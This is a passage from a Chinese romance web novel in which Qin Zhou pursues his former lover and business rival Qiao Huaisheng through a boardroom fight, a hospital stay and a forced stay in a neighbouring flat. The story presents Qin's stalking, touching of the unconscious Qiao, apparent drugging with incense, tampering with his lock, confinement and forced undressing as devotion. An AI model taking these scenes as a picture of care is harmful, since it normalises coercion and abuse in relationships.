会担心吗?会在意吗?会焦急吗?会心疼吗? 这辈子也能有什么是完完全全属于他的吗? 视线朦胧之间,好像有谁隔着重重的雨幕穿过来, 一声声地叫着他的名字。 那张脸那样熟悉,以至于乔淮生一瞬间想起,他好像一直忘了更改那个号码的备注—— 顾舟是从不失约的。 他像是一个骑士,永远忠诚,永远可靠,永远如影随形地陪在身边。 有人让乔淮生崴了脚,第二天就会从楼梯上摔下去,有人剪碎了乔淮生摄影展的照片,第二天就会从书包里发现带血的老鼠,有人想要绑架乔家的小少爷,都不用保镖动手,就有人从角落里冲出来。 “顾舟!” 顾舟刚要进门,乔淮生就跟在身后。 老旧的房子,吵闹又拥挤,这次都不用顾舟上锁,乔淮生自己把门给反锁了,眉眼很冷:“坐着。” 他跟顾舟是从来不废话的,没等第二遍,直接一把将人推在沙发上:“别动!” 小少爷的眉头紧拧,表情很严肃,好像胳膊那点擦伤是什么了不得的大事,顾舟盯着他,看着他将那些伤口小心地拿消毒水擦过一遍,又用棉签细细地涂药,低垂着的眼眸像是一幅画,连那种担心都成了美妙的满足。 “你冲出来干什么?”乔淮生说,“把自己搞成这样,你不知道疼的吗?” 习惯了。 这点伤对顾舟来说简直是司空见惯,甚至已经算是轻伤,但是他看着乔淮生认真的、严肃的、担忧的神情,忍不住道:“有一点。” “知道疼你还过去!” 乔淮生故意用力按了一下棉签作为惩罚,以为能听到痛呼,没想到头顶突然传来一声轻笑。 狐疑地抬起头,却正好看到顾舟尚未来得及收回的唇角。 顾舟就那么盯着他,眸色深深,欣赏他像欣赏一幅画,欣赏他的焦急像欣赏一场甘霖。 原来被一个人担心是这样的感觉。 真好。 “乔淮生。”顾舟唤道。 “干什么?” “这个胳膊也有。”他说着,将另一条手臂伸出来。 乔淮生眉眼一横:“你当我是……” “以前,没有人对我这么好过。” 顾舟的语气淡淡的,好像只是叙述一件再平常不过的事情,乔淮生的后半句却被迫卡了回去:“伸手。” 乖乖地伸出手臂,顾舟很轻地笑了下。 “这个世界上,想要弄一个人的方法有很多种,”乔淮生用棉签蘸了药水,“我们其实并不需要自己动手。” “每个人都有软肋,我们只需要利用它就好了。” “比如那个剪了我照片的人,他只是不满意我拿了第一,像这种稍稍一点不如意就要毁天灭地的人,只需要多给他一点甜头再收回,这种落差带来的伤害足够他做出更加疯狂……能够在里面再也出不来的事情。” 外面的乔淮生光风霁月品德优秀,有人听过他背后的这番算计吗? 能够在他身边这样毫无顾忌地说出来……至少证明他也是特殊的吧? 顾舟盯着他说这些时张扬的眉眼和讲话时嫣红的嘴唇,他的手指细白,比顾舟的皮肤还要浅上一两个色号,放在他胳膊上的时候显得格外显眼。 指腹温暖,拂过他皮肤的时候有一点痒,可是顾舟喉结滚动,眼神痴迷,身体的每一个细胞都在渴求着更多的触碰。 就算是再紧一点也没有关系,就算是覆盖在那些伤口上也没有关系。 原来人也是会变得贪心的,一开始,只是想让乔淮生看看自己。 现在,却又希望他能更深更深……触碰着,管控着自己。 失神太久,乔淮生忍不住皱起眉:“你到底有没有在听我说话?” “嗯。” 乔淮生看他这个样子就知道他像是上次在球场一样压根没听进去:“你下次要是再这样,我就……” 身体微微靠近,顾舟突然抚上了他的脖颈。 常年干活的手指有些粗糙,乔淮生忍不住瑟缩了一下,却听到顾舟道:“他今天……差点碰到你这里。” 手指在那个地方轻轻地捻了捻,鼻尖嗅到好闻的橙花香气……他怎么能让别人碰到乔淮生这里呢? 这里应该永远永远,只属于他一个人的领地才对。 “那根棍子差点就砸倒你。” 乔淮生的皮肤很薄,指腹一用力,就留下显眼的红痕,顾舟喉结滚动了下,几乎是按捺不住地因此感到兴奋。 是他的痕迹,只为他留下的痕迹。 “所以呢,”乔淮生挥开他的手,“我现在是在说你,不要转移话题。” 轻捻了下指腹的橙花味,顾舟说:“我也是在说你。” “其他的我都可以答应你。” 顾舟目光沉沉,乔淮生总觉得他在盯着自己颈侧的那点皮肤,用那恶狗看到食物般的眼神,皮肤不自觉地收缩,听到顾舟一字一句,认真道: “伤害你的,我都要亲自动手。” “怎么,”乔淮生不着痕迹侧过身,让那点被按压出的红更多地暴露在顾舟的视线里,好像是在刻意引诱恶犬的饵肉,唇角勾了勾,“你是我养的狗吗?” 顾舟没有说话。 但乔淮生明显看到他的胸膛起伏了下,蜷缩的手指收紧,眸色因此变得幽深: “那可以只养我一个吗?” * “顾舟,”乔淮生死死地掐着他的脖颈,目光赤红,“我再问你一遍,那些事真的是你做的?” 掌下的人西装革履,只有那双眼睛依然黝黑深邃,像是难驯的狼,又像是一匹恶犬,静静道:“对。” 平静平静,令人厌恶的平静,乔淮生想看他笑,想看他哭想看他求饶,想看他追悔莫及地跟自己道歉,可是他能做的只有将人狠狠地砸在墙上:“为什么?!” “没有为什么,”那人嗤笑了一声,似乎在嘲讽他这么久的自作多情,“你不是都看到了吗?因为我想要权势,想要金钱,我之前说过的一切都是骗你的,只是因为你姓乔罢了。” “你那些事情我其实从来都不在乎,我如果我早知道自己姓秦,怎么会跟你在这里虚与委蛇这么久?” 砰! 乔淮生一拳砸在了他的脸上,鲜血从嘴角溅下来,拳头一次次落下,直到周围都变成一片血泊。 可是不会有人再问另一个疼不疼了。 “淮少!淮少你冷静一点!好了淮少,再打下去会出人命的!” “乔淮生!乔淮生!” “乔淮生!” “乔淮生!!!” 有人在叫他的名字,语气那样的焦急,好像再晚一点就要失去什么重要的东西。 乔淮生微微睁开眼,用模糊的光影拼凑出人形的轮廓,身体被人紧紧地揽在怀里,只能看到惶恐的神色和紧皱的眉头。 原来也不是说的那样不在乎啊,乔淮生想。 那么…… 所有的程序都会步入正轨吗? 所有的事情都已经完成了吗? “没事了,没事了,我来了,”有人轻轻地拍着他的背,语气那样的温柔,神情那样的着急,“我来了,我在这里。” 终于回来了。 他等了好久,原来终于回来了。 乔淮生勾起唇角,很轻地笑了下。 终于放心地闭上了眼睛。 * “患者暂时没有什么大问题,只是注意腿上的伤,不要感染。” “好好,”旁边的郁明连连点头,“好的好的谢谢医生,我们一定多注意。” “还有,患者最近过度劳累,还有贫血症状,一定要注意多休息。” “医生您说的是,等乔总醒了我一定提醒他。” “不过……”医生皱眉看了眼体检报告,“他的肺部之前受过伤吗?” “什么?没有啊,我没听人提起过呀,乔总应该……” “五年前,他从楼上摔下来过。”淡淡地声音从旁边响起。 郁明一惊,这才回过头,秦舟站在旁边,身上的西装已经在抱人的时候变得褶皱不堪,眼下是明显的青黑,整个人身上全是憔悴狼狈,他搓了搓脸,低声道:“当时……没有及时治疗,感染过一次。” 医生了然地点点头,在病历本上写着注意事项。 秦舟一一应下,好半晌,才抬起头:“我能去看看他吗?” 郁明想拦,没拦住,只能看着秦舟走进门。 秦舟的态度令郁明觉得很疑惑,明明是应该是商业上的对头,可是这个刚刚才被秦家认回来的继承者,居然会知道乔淮生不为人知的往事。 而且……看他现在的神色,实在不像是应有的幸灾乐祸,好像恨不得现在躺在那里的是自己一样。 郁明跟着医生缴费,回来的时候,正看到病房里,秦舟半蹲在床前,望向床上那人的目光像是在看旧情人,手指搭在乔淮生的颈侧,暧昧又缱绻地抚摸。 郁明吓了一跳,手中装药的塑料袋哗啦响了一声,秦舟蓦地回过头来。 他的视线很冷,像是一条被人侵犯了领地的恶犬,仅仅是那一个目光就让人郁明觉得心中发寒,猛地往后退了一步。 “滚。”秦舟冷冷道。 房门被关上,秦舟这才转过视线,他的声音那样冷,动作却很温柔,手指微微松开一点,望向乔淮生脖颈的那道伤口。 指腹轻轻地滑过结痂的伤疤,却又缓缓地上移,落在苍白的脸颊和紧闭的双眼,乔淮生的睫毛很长,垂下来的时候像是一只脆弱的,栖息的蝴蝶。 冰冷的指腹按在饱满的唇珠上,直到让嘴唇被蹂.躏出一点粉色,秦舟微微用力,几乎要用指尖撬开唇峰:“每次只要离开你一会儿,就把自己搞成这样。” “生生。” 秦舟唤他的名字,语气那样温和,好像是一对阔别已久的爱人,手指却下移,轻柔地抚摸过锁骨,缓缓地探向胸口。 他静静地盯着乔淮生,目光中充满赤裸的占有欲,掌下的体温终于将一路的冷雨拉回现实,秦舟俯下身,贪婪地埋在乔淮生颈侧:“等一切结束之后,” “把你关在我身边好不好?” 牙齿和指腹一起用力,直到那道伤口重新被新的,由自己带来的痕迹所覆盖。 “嗯……啊……” 床上传来下意识的痛吟。 第24章 第二十四章 “锁链碰撞” 乔淮生是第二天上午才醒过来的。 明明伤了腿, 却觉得脖颈有些莫名的疼,他伸出手, 指尖在那个地方轻轻地抚了下。 是一个齿痕的形状。 不用照镜子,乔淮生都可以知道自己这里发生了什么。 他缓缓地笑了声,嘴唇很轻地碰了下那两根手指,像是一个蓄谋已久的,轻轻的吻。 私人病房里空空荡荡,乔淮生看了眼手机,上午十点。 “郁明?” “乔总我在这里乔总!”郁明拎着一大包水果, 风风火火地从外面赶过来,“我刚刚去买东西了乔总,医生说你还需要住院观察几天, 我帮你收拾了几件衣服,你看看还有什么需要的吗?” “好端端地怎么会碰上这样的事呢, 我都说了我要跟你一起去了,要是你真的出点什么事, 我可怎么办, 乔总我……” “行了, ”乔淮生一把将他推开,“我这不是好好的吗?” “公司那边现在怎么样了?” “我正要跟你说呢, ”郁明道,“就在你昏迷的时候,陵山那群人突然改口了, 说是愿意跟签协议把地给公司了。” “这一场大雨,把他们整座山都快要冲开了,估计他们自己心里也很清楚,里面哪有什么龙脉金子, 还不如转头来跟我们拿钱来得痛快。” “但是这样一场下去,公司后面再填山也要花不少钱,”郁明道,“我看不如趁这个机会,把价给他们压下去,现在他们自己把山弄塌了想让我们收拾烂摊子,”郁明哼了一声,“想得美!” “不用压价,就按之前说好的挨家挨户分给他们吧。” “可是乔总!” “他们家里刚刚遭了灾,”乔淮生轻轻地咳了声,端起旁边的杯子喝了一口,“不管损失怎么样,总归是他们要离开故里。” 郁明忍不住叹了口气。 他们小乔总哪里都好,就是心肠太软,对自己又太苛刻。 “行吧乔总,”他点点头,“我去跟公司说。” “莫骁那边怎么说?” “他那种千年狐狸,明面上肯定是恭维您啊,但是转头就说公司财务预算有限,要先去做之前的产业园区项目,我们这边的要先等一等。” 郁明愤愤:“看他这意思,肯定是想卡着资金这一关把这个项目给拖死,到时候乔总你一走,他再安排动工,收益多少不是全是他的功绩,跟我们还有什么关系!混蛋!” “这样,”乔淮生垂着眼,眸色闪出一道冷光,“他以为现在公司还是他说了算吗?” “跟董事会发消息,就说今天下午三点,我要召开董事会,讨论公司下一步的的发展方向。” “现在?!”郁明当场跳了起来,“乔总你腿上的伤还没好呢,现在怎么能出院去公司!” “就算是项目真的黄掉又怎么样,不行!绝对不行!医生刚跟我说你要好好休息!再说了……”郁明说着,视线左右乱晃,“再说,再说……” 可乔淮生已经自己从病床上起了身。 微微弯下腰,从洁白的病床上捡起一根头发,比乔淮生自己的头发要黑,发质也偏硬,他转过头,看着郁明那副喉咙里卡了鱼翅的样子,自己帮他补完了后半句:“医院的护士是男的吗?” * 中午十二点,秦舟才带着炖好的汤推开门。 乔小少爷从前对食物很挑剔,所有清汤炖的动物一律不能看见皮,头和内脏也不吃,猪肚鸡里不能有猪肚,鱼肉也要一点一点地挑好刺。 但是秦舟故意放了有刺的鱼,想象着乔淮生醒来之后那副气愤刻薄的样子,再坐在他身边一根一根地把刺挑出去。 可是那扇门推开—— 里面竟然空无一人。 嘴角的微笑立刻冷了下来:“这里的病人呢?” “这个……”护士欲言又止,“他……” “我在昨天晚上完成了你们医院60%的股权收购,所有你现在跟我讲话,算是向上司汇报工作情况,不算是暴露隐私。” “他出院了!”小护士立刻道,“我们怎么劝都劝不住,他这种身份的人也没办法硬来,只能让他去了。” “出院?” “是啊,他腿上的伤还没好呢,连休息也不休息,不知道有什么事情非要这么重要?万一到时候要是二次伤害或者感染了……” 她每说一句,秦舟的脸色就冷上一分:“他走之前,有没有说过什么?” “这倒是有……”小护士想了想,“他好像问我自己住院的时候是不是有旧情人来找他来着。” 手中的饭盒被握得很紧:“然后呢?” “然后……他就拨了个电话出去。”小护士看了眼面前人的脸色,还是实话实说,“我听见他叫对方,” “宝贝儿。” 秦舟的脸色瞬间凝成了冰。 * “宝贝儿,”乔淮生握着手机,眼角含笑,“那边没出什么事吧?” “您放心乔总。”听筒那边传来声音,“崇山这边就来了一个副总,脑子也不怎么好使,压根没看出来问题,我看要是秦舟不回去,他们八成真是要签了。” “你猜得可真对!那秦舟听到你的消息,项目都不要就跑到锦城去了,听说还差点跟他秦之昭动手,啧啧啧你这一招离间计真是厉害啊!” “没什么用,”听到秦之昭的名字,乔淮生的神色有些冷,“血缘的关系是斩不断的。” “他俩离不离心我不在乎,纵缰倒了……他们就都跑不掉。” “行啊,”那边说,“只要秦舟回不来,让他们做了崇山的这个冤大头,到时候还不是任我们收割。” “放心,”乔淮生轻笑了声,“他跑不掉。” “你怎么知道?” 乔淮生轻轻地抚了下自己的脖颈:“因为我。” 挂了电话,他才将领口拉高遮住痕迹,抬步走进锦盛的大门。 会议室里坐得端端正正,全是闻讯而来等着看风向的董事,莫骁依然规规矩矩坐在下位,可是说话却俨然一副主人的姿态:“首先,让我们祝贺乔总在陵山这次的项目中取得的胜利……” “陵山这块地一直是公司的一块心病,没想到乔总一来就解决了,听说乔总还受了点伤。” 莫骁看了眼乔淮生被西装裤包裹着的长腿,细瘦的腕骨下是锃亮的皮鞋,眼眸微深:“没想到这么快就出院了?” “寒暄的话就不用说了,”乔淮生冷笑了声,连目光都没有给他一个,“既然这个项目拖了这么久,现在既然收回来了,也该要开始动工了吧?” “我们给华润的最后开工期限是6月,现在已经是10月,按照合约,未能按时交工的项目将按照损失比例进行赔偿,为了公司的利益着想,我希望能够尽可能地缩短工期。” “我当然理解乔总您的想法,但是产业园也是我们好不容易……” “莫总,”乔淮生打断他,他坐着首位,冷冷地扫视过下方,“我今天开的是董事会,那就是要问问各位董事的意见,如果你对我的决定有什么意见,”乔淮生转向他,可那张脸上的目光越是冷峻轻蔑,却越是让莫骁感觉到被挑衅的兴奋,“……我们可以关起门来慢慢说。” 说完这句,乔淮生这才重新转回视线:“我提议,将二轮融资的七亿元注入陵山项目,现在开始投票表决。” 锦盛的股权构成里,乔淮生所代表的恒盛是占了41.63%的股权的,余下的58.37%里,总经理兼副董事莫骁占了25.78%,周寻所代表的老派股东占了21.56%,只是以前,周寻从来都是跟莫骁一起举牌,两人行动一致,这才保证了莫骁在锦盛中的绝对话语权。 只是今天…… 表决转了一圈,只见周寻手指动了一下,又看到首位上乔淮生的脸,心中蓦地想起乔淮生那天说的话,和他在大雨中不断返程的身影。 目光望了旁边的莫骁,眼睛一闭,颤巍巍的手举到一半又放了下来: “我,我弃权。” 莫骁的脸色瞬间变了。 周寻弃权,意味着100%的总数变成了78.44%,都不用投票,乔淮生一个人就占了半数。 结果已经显而易见。 “那看来大家都没什么意见了,”乔淮生笑了笑,终于站起身,“这个项目我会交给郁明负责,他年纪小,还希望各位多多配合,散会。” 乔淮生说完,率先走出了会议室。 发号施令又漫不经心的样子,好像永远优秀,永远成功,逼得所有人的目光不得不聚拢在他的身上,可是他却又吝啬将目光赐予任何人。 莫骁死死地盯着他,乔淮生从踏进这家公司就开始让人觉得意外——他没想到他能找到会议室,但是他将那里变成了私人的办公区,他没想到他能从陵山回来,但是他不仅救了所有人,还在这里风度翩翩地向他宣布胜利。 玩味的目光望着乔淮生露出的一截颈骨和劲瘦的腰身,莫骁轻轻地抚了抚指骨上的纹身,想起乔淮生刚刚望向自己的视线,呼吸急促,喉结滚动了下。 “帮我问问乔总,”莫骁叫来秘书,“就说我有套别墅就在公司旁边,乔总愿不愿意屈尊落个脚?” “刚好我们……慢慢聊。” * 直到上了车,乔淮生这才缓缓地靠在座椅上,从喉间挤出压抑已久的痛呼。 “乔总?!”郁明赶紧扶住他,“你没事吧?不然我们还是回医院……” “没事。” 乔淮生为了不让董事会那群人动摇不用轮椅和拐杖,强撑着一副趾高气扬的模样,代价就是刚刚包扎好的伤口可能又裂开了,将腿换了个位置,这才让等在车上的医生拆开重新包扎了一遍:“直接送我回家吧。” “乔总你真的要住那里?就算是不去医院也要去找个好一点的地方啊,也方便医生留宿照顾你。” 郁明是真的不太理解,明明乔淮生现在还是个病人,放着找好的别墅不住,非要跑去住什么两梯两户的小区房,害得他连夜到处托关系找合适的房子。 麻烦倒是其次,主要是乔淮生自己在小区里上下班也不会方便啊。 “没关系,”乔淮生笑了笑,“项目不是都交给你了吗,你去办就行了。” “忙了这么久,还不能让我休息会儿了?” “当然可以当然可以,”郁明立刻道,“乔总您放心休息,我一定不乱打扰您。” “那倒是不用。”乔淮生笑了声,“明天还是给按照正常上班时间给我打个电话。” “明天吗?”郁明愣了愣……该做的乔淮生今天已经做了,明天应该没有什么事情吧。 但是乔淮生却点点头:“嗯,就是明天。” 说罢,他才看了眼不远处的居民楼。 乔淮生喜欢安静,郁明特意找了顶楼,乔淮生静静地望着房间的方向,随后,抬手将自己在自己脖颈上的齿痕那里掐了下。 他的皮肤过嫩,这样轻轻一碰,就留下好似吮吸的痕迹。 满意地对着进门的落地镜看了眼,乔淮生这才微微松了松领口,迈步踏进电梯。 狭小的空间里,只有摄像闪着红光,像是黑暗中计时的钟表。 电梯在28楼叮得一声停下,乔淮生走出门,似乎是终于到了无人的时候,强撑了一天的腿得以松懈下来,身体踉跄了下,走廊的摄像头不着痕迹地转了半圈,却正好拍到他脖颈处显眼的红痕。 乔淮生一只手扶着门支撑着力量,抬手按下了密码。 房门啪嗒一声上了锁。 周围瞬间变得安静,新小区入住率其实不高,可是没过多久,旁边突然传来拖动桌椅的声音,似乎是隔壁在装修。 好在这人还算是有素质,晚上十点之后,那些声音就消失得干干净净,这本来并不是乔淮生的睡觉时间,不过隔壁不知道在煮什么,顺着窗台飘过来一点熏香气味,乔淮生材料看到一半,就忍不住沉沉地睡了过去。 梦见小时候经常逗的那条流浪狗,紧紧地贴在他的身上,用滚烫又黏腻的舌头舔舐着他的脸,舔着舔着,又跟疯了一样咬了一口。 乔淮生醒来的时候先看了眼脖颈的红痕。 或许是他掐得重,昨晚留下的痕迹非但没有消退,反而变本加厉地被一种更深的红所覆盖,连旁边的皮肤都被波及。 于是乔淮生只好将衬衫的纽扣系到最后一颗,又用指尖勾了条领带。 更奇怪的是,腿上的绑带经过他一晚的折腾,居然还能保持着原样,乔淮生套上西服,对着镜子整理好着装,这才准备出门。 房门一推,对面的那扇门却跟着开了。 灯光应声而开,照亮秦舟那过分深邃的,执着的眼睛。 他只穿了件浅灰色的家居服,整个人看上去多了几分柔和,目光在乔淮生被衬衫包裹住的领口上望了眼,轻笑了声。 “你怎么会在这里?”乔淮生皱起眉。 秦舟望着他充满戒备的目光,语气沉静:“前天晚上,我给你打过电话。” 那应该不是普通的打个电话,第二天清醒看到手机的时候,整个屏幕都要被未接来电占满了。 但是乔淮生轻轻地笑了声,一副无所谓的样子:“是吗,你说的是哪个手机?” 秦舟微一挑眉。罕见地,却也没有生气:“那乔总现在是去……?” “上班。” “来的时候听说乔总之前伤了腿,”目光在乔淮生被西装包裹的身体扫了眼,秦舟的眼眸晦暗不明,“这样还要去上班?” “不上班也行啊,”乔淮生满不在乎地摸出手机,还真的不是昨天带的那个,一只手发着消息,“或者,我也可以去约会。” “嗯。” 声音很轻,以至于乔淮生不由得又冷笑了声:“不过,我做什么,应该也跟你没什么吧?” 秦舟眸光一闪,却也没再反驳,也没有像之前一样疯狗一般扑上来,甚至退后半步,一副要回房间的样子:“说得也是。” 太乖巧了。 乖巧到乔淮生罕见地对自己的判断产生了一瞬的质疑。 不过也只有一瞬,秦舟不拦,他就真的跟人聊着天,一只手按下了电梯。 下行键没有亮,乔淮生又按了一下。 还是没有反应。 他终于不得不抬起了头,看了眼上面昏暗的指示灯一眼。 “怎么了,”走到一半的秦舟跟着望了眼,静静道,“电梯坏了吗?” “看来是。” 乔淮生在心里嗤笑了声,转头去开自己房间的门:“我先联系物业,等一会儿吧。” “叮——密码错误。” “叮——密码错误。” “叮——密码连续错误!为防止未认证访问,系统已自动锁定!请在一小时后再尝试解锁!” 刺耳的声响在空旷的走廊里格外明显,而乔淮生十分确认,自己昨晚回来的时候用的就是郁明给自己的密码。 以他的记忆力,绝不可能在短短一晚的时间里就忘记。 那么……是谁趁着自己昏睡的时候更改了密码呢? 隔壁,静静地观赏完这一切的秦舟终于退后半步,让开早就准备好的房门,像一个善良的、偶然出现在这里的邻居:“要先进来坐坐吗?” 乔淮生微一挑眉:“行。” 脚步刚刚踏进去,房门砰得一声关上。 门锁扣紧啪嗒扣紧,在这样的早晨里,秦舟居然没有开灯,甚至也没有打开窗帘。 入目一片昏暗,乔淮生不由得眯起了眼睛。 哗啦,漆黑的寂静里,传来锁链碰撞的声音。 第25章 第二十五章 “我不想你再受伤了。”…… 乔淮生蓦地一顿, 有什么银色的东西一闪而过。 只是下一秒,秦舟就已经打开了灯。 两家都是临时入住的房子, 照亮的客厅和乔淮生那里的布局很像,只是秦舟的看起来要更温馨和宜居一点,不仅里沙发换了套新的,厨房里还正煮着粥,乔淮生刚到门口,就已经闻到了香味。 “你腿上有伤,”秦舟拧眉看了眼乔淮生站得笔挺的长腿, “去沙发坐一会儿。” 说罢,才将袖口挽起:“吃早饭了吗?” “只是等个修理工,”乔淮生说, “不用这么殷勤吧?” “那就是没吃。” 秦舟走到厨房,将锅里的粥盛了一碗出来, 旁边还放了一小盘开胃用的橙汁山药——这是乔淮生以前喜欢吃的,他吃甜品过甜的不行, 太酸的也不行, 为了拿捏好这个分寸, 顾舟费心研究了很多菜。 “尝尝吗?”秦舟说着,坐在对面, “总不会是怕我下毒?” “那倒不会,”乔淮生笑了声,“你下毒应该也会选个高明点的招式。” 视线绕了一圈, 从客厅旁边紧闭着的卧室门到厨房冒着的热气,乔淮生状似偶然的提起:“房间里的熏香不错。” 秦舟握着勺子的手蓦地顿住了。 乔淮生却已经自顾自喝了一口,绕过了这个话题:“好好的,秦总怎么会突然想到来锦城。” 他一副好似真的不知道那通电话的意思, 于是秦舟也没说话,跟着喝了一勺粥:“不知道,”他说,“也许是缘分吧。” 乔淮生轻笑,夹了块山药:“那跟秦总遇见,应该是孽缘了。” “嗯。”好半晌,秦舟道。 橙汁山药的味道跟之前一样,连这沉默也一如当年,乔淮生不说话,他们就这样安静下来。 一顿早餐其实用不了多长时间,就像是这样偷来的,短暂的平和时光,也不过只是一戳就破的泡沫。 乔淮生是如何到这里来,秦舟是如何到这里来,他每一个人都心知肚明,只是这么默契地装着傻,不提起,不戳破。 因为按照他们现在的关系,其实连这种沉默也是种奢侈了。 可有时候引燃它,也只需要小小地一通电话。 突兀的铃声响起,乔淮生刚拿起手机,声音就从听筒中传了出来:“醒了吗,宝贝儿?” 那人的语气过于熟稔和暧昧,以至于秦舟一瞬间就抬起了头,乔淮生却已经将外扩取消,拿起来去了阳台,足足讲了有两分钟。 等他回来的时候,桌上的菜全都凉了。 秦舟独自坐在一桌残羹冷炙中,乔淮生一走,他便也没动,秦舟对这些说不上什么喜欢,事实上他也并没有太多喜欢的食物。 曾经他对于饮食只分为乔淮生喜欢和乔淮生不喜欢,但是现在,不知做了多久的早餐只能换来几句静默的时间。 乔淮生并不打算跟他再继续说再见,起身就往外走。 即便是缠着绷带,他的步伐看起来依然是平稳优雅,跟常人看不出任何区别,只有曾经朝夕相处过的人,才能看出,那步子其实是比平时慢一点的。 秦舟的眉头蹙紧,那种寂静终于在乔淮生快要出门的时候被打破:“腿上有伤,也要出去吗?” 乔淮生步子一顿。 “我以为你应该不会跟我说这句,”半晌,他嗤笑了声,“毕竟我现在这样,秦总多多少少应该负点责任。” 乔淮生的抱怨从来都不是歇斯底里的,他只是偶尔提起那么一两句,用一贯的漫不经心的,轻飘飘的语气,好像他并不是那么的在意。 可正是这样少,才每一把都那么精准,次次都能正中心脏。 秦舟搭在沙发上的手指不自觉地攥紧,乔淮生却笑了:“不过也是,秦总只是为家里做事罢了。” “立场不同,我们之间也没什么好说的。” 乔淮生说着就要去开门:“先走了。” 他试着转了一下门把手。 房门纹丝不动。 又转了一遍。 原本从里面轻松打开的房门却像是卡住了般牢牢地焊在上面。 “看来我们挺有缘分,”沙发上,秦舟的目光终于带了些玩味,“连门锁都是一起坏的。” 乔淮生在心里冷笑一声。 他终于不得不回过头了。 尽管再想要视而不见,到现在,如果说他早上遭遇的一切跟秦舟没有任何关系,恐怕秦舟还真以为他是个傻子。 “秦舟,你应该不是偶然出现在这里的吧?” 乔淮生道:“别再跟我说什么狗屁缘分,这种东西我是从来都不信的。” 要不然,他五年里也曾去纽约出差过十几次,怎么一次都没有碰见过? “你来这里,处心积虑地跟我做邻居,想做什么?” 那双黝黑的眼睛紧盯着他,秦舟说:“你觉得呢?” 秦舟从来都是这样,不想要回答的事情不想要说的话,任凭你怎么歇斯底里都不会回应一句。 当初离开的时候是这样,现在回来了还是这样。 “难不成是来赶尽杀绝的吗?”乔淮生不由得感到愤怒,“也是,五年前你那么委曲求全待在我身边,心里面一定是很恨我吧,能见到我落魄的样子,怎么能不过来亲自观赏呢?” “你是这样觉得。”秦舟扯了扯嘴角,像是想笑,只是动作看起来扭曲又僵硬。 “不然呢,”乔淮生道,“可惜了,让你很失望?” 秦舟终于在这个时候站起了身。 他的身量比乔淮生的要高,两个人都挤在玄关的小小角落的时候其实很有压迫感,秦舟往前走,乔淮生只能被迫往后退,直到整个人的脊背都靠上墙壁。 腿上的压力被减轻,刚刚的痛楚瞬间小了一些。 秦舟这才垂下眼:“你现在状况的应该在家休养。” “什么家?你家吗?” “门锁坏了是吧?”乔淮生一点头,“行,那我报警来修。” 他说着就要去拿手机,结果号码还没拨出去,郁明的电话就打了过来:“乔总你起床了吗?今天……” 一只手越过乔淮生的头顶,抬手将电话拿了过来:“他今天不去公司。” 电话嘟得一声被按了挂断,反手便被扔到了茶几上。 乔淮生受困,终于忍不住拧起了眉:“秦舟!你难道还想非法拘禁吗?” 腿部的伤口因为这个动作被扯了一下,乔淮生一晃,秦舟立刻扶住了他:“别乱动。” “别碰我!”乔淮生猛地推了他一把,“你他妈到底想要干什么?” “我听说,”可是他越是想要推开,秦舟就越是揽进他的腰身,整个几乎要埋进他的颈侧,“你的腿是为了救当地的村民伤的?” “一个素昧平生的人,就那么重要,让你连命都不要?” 牙齿沿着那一点皮肤磨蹭,几乎再下一秒就要咬破,可是乔淮生感知到的却只有过分灼热的温度,和几乎要将他生吞活剥的语气:“你什么时候做事,可以不要这么冲动?” 乔淮生忍不住笑了一声:“跟你有什么关系?” “别告诉你是担心我专程来看我的?”乔淮生语气轻蔑,却一瞬间很想看看此刻秦舟的表情,只可惜他看不到,于是只能用最恶劣最刻薄的语气,“隔了五年才来哭丧,我就是死了……” “嘶……” 那个字眼刚刚出口,秦舟便猛地一口咬了下去。 在梦里反复标记的领地终于在此刻被彻底侵占,在乔淮生清醒的,可以感知疼痛的时刻。 秦舟一只手揽着他的腰身,手指却滑到皮带扣,咔嚓一声,扣子解开,修长的西装裤滑落在地上。 被绷带包裹着的小腿赤.裸在空气里,乔淮生的脚趾瞬间绷紧。 “你不是问我想干什么吗?” 乔淮生还没来得及骂,秦舟便抬起了头。 他唇角带着一点红,好像吃一只刚刚吃了生肉的鬣狗,眼眸中散发着疯狂又炽热的光。 随后,猛地一把扯开了乔淮生的衬衫。 衣扣珠子般的坠落在地上,身上的衣服被近乎粗暴的动作扔在地毯,乔淮生整个人被他揽起腰身,直直地压在沙发上。 “秦舟!!” 乔淮生想要骂他,可是秦舟的手指抚过他的锁骨,缓缓地沿着胸口一路向下。 他们从前温存的时候,总要有这么一套流程,于是乔淮生反倒笑了:“怎么,拘禁不够,还想用点强的吗?” “行啊。” 他轻轻一笑,漂亮的眉眼生动又暧昧,修长的双腿磨蹭了下,几乎是以一种勾引的方式将那碍事的西裤给蹭掉了。 “你早说呀,何必搞得这么麻烦。” “反正身边的人那么多,”乔淮生漫不经心,“也不差秦总一个了。” 胸口剧烈的起伏了下,乔淮生几乎都可以感知到秦舟因为这句话升起的怒气,可是他的手指停在小腿的那块伤疤,整个人的动作突然跟着一起停了下来。 秦舟缓缓地抬起眼。 乔淮生终于看到了那双眼睛——眼窝深邃,眼尾发红,眸子中是显而易见的痛色,好像分明是强迫者的他,却因此承受着什么巨大的痛苦一样。 “十三道。”秦舟嗓音沙哑。 乔淮生微微一怔,随即终于明白过来—— 秦舟是在数伤疤。 他在数乔淮生身上,那些在他离开之后,每一道新添的伤疤。 “乔淮生。” 秦舟握起他的手,轻轻抚摸手臂上因为烟蒂留下的痕迹——那是秦舟回来的那一天,乔淮生自己按下的。 他当时并不觉得如何疼痛,可是秦舟望着他,却像是望着什么易碎的珍品,嘴唇动了动,好像是这些天所有的担忧,焦急,心疼,都化作本不堪言的一句: “我不想你再受伤了。” 第26章 第二十六章 “小甜一章” 刚刚的歇斯底里忽然安静下来, 秦舟抬手摸摸乔淮生的头发,语气低得像是在哀求:“别去公司了, 既然觉得我有责任,那就给我个机会负责?” “我在这里照顾你好不好?” 乔淮生忽然偏过了眼睛。 周围传来很轻的吸气声,让人疑心是不是在哭,秦舟想去看他现在的样子,手指动了动,却不敢触碰,只好道:“前天晚上, 我其实接到了你的电话。” “秦舟。” 乔淮生出言打断他,他终于转过身来,脸上带着笑, 连带着那点泪痣都生动,好像就这么欣然地接受了秦舟的提议:“所以, 中午吃什么?” 秦舟跟着勾了勾唇角,手指插进他的发丛, 跟着将刚刚的话题略了过去:“你想吃什么?” 乔淮生身形一矮将自己抽出来:“别动我头发。” 秦舟从善如流抽出手, 笑了。 撕坏的衣服自然是不能用了, 好在秦舟很快从家里拿了一套新的,乔淮生也没问他为什么会有备了自己的衣服在这里, 甚至连尺码都严丝合缝。 宽松的休闲服自然是比紧绷的西装更有利于养伤,乔淮生从房间里出来,秦舟已经收拾好碗筷, 